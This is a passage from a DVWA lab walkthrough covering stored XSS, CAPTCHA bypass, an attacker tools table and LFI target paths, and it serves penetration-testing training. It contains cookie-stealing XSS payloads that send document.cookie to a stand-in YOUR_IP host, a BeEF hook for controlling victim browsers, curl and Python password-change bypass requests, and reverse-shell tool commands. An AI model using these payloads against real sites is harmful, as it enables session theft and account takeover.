<img src=x onerror=alert(1)>    <- put in Name field via Burp

# Bypass 2: Message field with event handlers:
<img src=x onerror="new Image().src='http://YOUR_IP:8080/?c='+document.cookie">
<svg onload="new Image().src='http://YOUR_IP:8080/?c='+document.cookie">

# Bypass 3: Mixed case in message:
<SCRIPT>alert(1)</SCRIPT>
<Script>alert(document.cookie)</Script>
```

Security Level: HIGH

```
# High strips script tags AND filters many event handlers
# Bypass with obscure HTML5 events and encoding:
```

```
# In Name field (intercepted via Burp, bypass maxlength):
<img src=x onerror=alert`document.cookie`>

# In Message field:
<details open ontoggle=new&#32;Image().src='http://YOUR_IP:8080/?c='+document.cookie>

# Using SVG with encoded payload:
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

# JavaScript URL:
<object data="javascript:alert(document.cookie)">

# Iframe injection:
<iframe src="javascript:alert(document.cookie)"></iframe>
```

BeEF Framework Integration

```
# Install BeEF on Kali:
sudo apt install beef-xss
cd /usr/share/beef-xss && ./beef

# Default URL: http://127.0.0.1:3000/ui/panel
# Default creds: beef / beef

# Step 1: Inject hook into Stored XSS:
<script src="http://YOUR_KALI_IP:3000/hook.js"></script>

# Step 2: When any user visits the guestbook page, their browser is hooked
# Step 3: In BeEF panel -> Online Browsers -> select victim browser

# BeEF capabilities on hooked browser:
# - Get cookies, localStorage, sessionStorage
# - Screenshot the victim's screen
# - Execute arbitrary JavaScript
# - Port scan the victim's internal network
# - Phish credentials with fake login dialogs
# - Redirect browser to malicious pages
```

Module 10 — Insecure CAPTCHA

URL	/dvwa/vulnerabilities/captcha/
Goal	Bypass server-side CAPTCHA validation to change admin password
Tools	Burp Suite, curl
CVE	CWE-304: Missing Critical Step in Authentication

Security Level: LOW

Low level sends a 'step' parameter with the form. Step 1 validates CAPTCHA; Step 2 changes the password. By directly sending a Step 2 request, CAPTCHA is entirely bypassed.

```
# Bypass: Skip to step 2 directly (CAPTCHA only on step 1)
# Via Burp – intercept step 1, change step=1 to step=2:

POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
Cookie: PHPSESSID=SID; security=low

step=2&password_new=hacked&password_conf=hacked&Change=Change

# Via curl:
curl -b "PHPSESSID=SID;security=low" \
  -d "step=2&password_new=hacked&password_conf=hacked&Change=Change" \
  http://127.0.0.1/dvwa/vulnerabilities/captcha/

# Response: "Password Changed" – CAPTCHA completely bypassed!
```

Security Level: MEDIUM

Medium adds a hidden field 'passed_captcha=true' that must be present. Adding this parameter bypasses the check.

```
# Intercept in Burp and add: passed_captcha=true

POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
Cookie: PHPSESSID=SID; security=medium

step=2&password_new=hacked&password_conf=hacked&passed_captcha=true&Change=Change

# Via curl:
curl -b "PHPSESSID=SID;security=medium" \
  -d "step=2&password_new=hacked&password_conf=hacked&passed_captcha=true&Change=Change" \
  http://127.0.0.1/dvwa/vulnerabilities/captcha/
```

Security Level: HIGH

High uses the reCAPTCHA API. The bypass involves using a valid reCAPTCHA response token (can be obtained from a legitimate solve) or manipulating the flow.

```
# Bypass: The g-recaptcha-response token can be reused within its validity window
# Step 1: Solve CAPTCHA normally, intercept the request in Burp
# Step 2: Extract the g-recaptcha-response value
# Step 3: Replay the request as many times as needed within ~2 minutes

# In Burp Repeater:
POST /dvwa/vulnerabilities/captcha/ HTTP/1.1
Cookie: PHPSESSID=SID; security=high
```

```
step=1&password_new=hacked&password_conf=hacked&g-recaptcha-response=VALID_TOKEN&Change=Change
```

```
# Automate token reuse with Python:
```

```
import requests
```

```
token = "VALID_RECAPTCHA_TOKEN" # obtained from one manual solve
```

```
cookies = {"PHPSESSID": "SID", "security": "high"}
```

```
data = {"step": "1", "password_new": "hacked", "password_conf": "hacked",  
        "g-recaptcha-response": token, "Change": "Change"}
```

```
r = requests.post("http://127.0.0.1/dvwa/vulnerabilities/captcha/",  
                  data=data, cookies=cookies)
```

```
print(r.text)
```

Tools Quick Reference

Essential DVWA Pentesting Toolkit

Tool	Purpose	Key Command
sqlmap	Automated SQL injection	sqlmap -u URL --cookie=... --dump
hydra	Brute force logins	hydra -l admin -P list.txt http-get-form ...
Burp Suite	Intercept & modify HTTP	Proxy -> Intercept -> Modify -> Forward
nikto	Web server vulnerability scan	nikto -h http://127.0.0.1/dvwa/
curl	HTTP requests from CLI	curl -b 'PHPSESSID=...' URL
netcat	Catch reverse shells	nc -lvp 4444
msfvenom	Generate payloads	msfvenom -p php/meterpreter/reverse_tcp ...
BeEF	Browser exploitation	Hook via XSS, control via web panel
exiftool	Embed code in images	exiftool -Comment=" img.jpg
hashcat	Crack password hashes	hashcat -m 0 hashes.txt wordlist.txt
john	Crack password hashes	john --format=raw-md5 hashes.txt
Metasploit	Exploit framework	msfconsole -> use exploit/multi/handler

Burp Suite Workflow for DVWA

- 1. Set browser proxy to 127.0.0.1:8080 (use FoxyProxy plugin)
- 2. Open Burp Suite -> Proxy -> Intercept -> Turn On
- 3. Browse to DVWA and interact with vulnerable forms
- 4. Burp captures the request — inspect/modify parameters
- 5. Right-click -> Send to Repeater (for manual testing)
- 6. Right-click -> Send to Intruder (for automated fuzzing)
- 7. Right-click -> Send to Scanner (for automated vulnerability scan — Pro only)
- 8. In Repeater: modify payload, click Send, inspect response
- 9. In Intruder: set payload positions, load wordlist, Start Attack

Important File Paths (DVWA on Kali/LAMP)

```
# DVWA files
/var/www/html/dvwa/                # DVWA web root
/var/www/html/dvwa/config/config.inc.php # DB credentials
/var/www/html/dvwa/hackable/uploads/  # Uploaded files land here

# Server logs (for log poisoning)
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# System files (LFI targets)
/etc/passwd          # User list
/etc/shadow           # Password hashes (need root)
/etc/hosts            # Host mappings
/proc/self/environ    # Environment variables (sometimes contains secrets)
```

```
# PHP config
/etc/php/7.4/apache2/php.ini
```

Complete Summary — All Modules & Security Levels

Module	Low Bypass	Medium Bypass	High Bypass
Brute Force	No rate limit - hydra/python directly	2s sleep - slow/targeted wordlist	CSRF token - extract token per attempt
Command Inj.	Direct ; && shell chaining	pipe (; stripped), URL encode	Brace expansion, \$IFS, hex encoding
CSRF	Craft GET URL / auto-submit form	null referrer meta tag	Combine with XSS to steal CSRF token
File Inclusion	Direct ../../etc/passwd	Double ../../ encoding bypass	file:// protocol, php:// filter
File Upload	Upload .php directly	Burp: spoof Content-Type header	Polyglot JPEG+PHP, .htaccess trick
SQL Injection	UNION SELECT directly	Burp POST + numeric injection	session-input.php second-order
Blind SQLi	SLEEP()/boolean inference	Hex-encoded strings (no quotes)	Cookie parameter injection
XSS Reflected	Direct script tag injection	onerror/onload event handlers	HTML5 events, entity encoding
XSS Stored	Direct script tag in message	Event handlers, Name field	SVG/object/details HTML5 tags
CAPTCHA	Skip to step=2 directly	Add passed_captcha=true param	Reuse valid g-recaptcha-response

LEGAL DISCLAIMER

This guide is for educational and authorized penetration testing purposes only. All techniques must be practised exclusively on systems you own or have explicit written permission to test. DVWA is designed for local VM use only — never expose it to the internet. Unauthorized access to computer systems is illegal.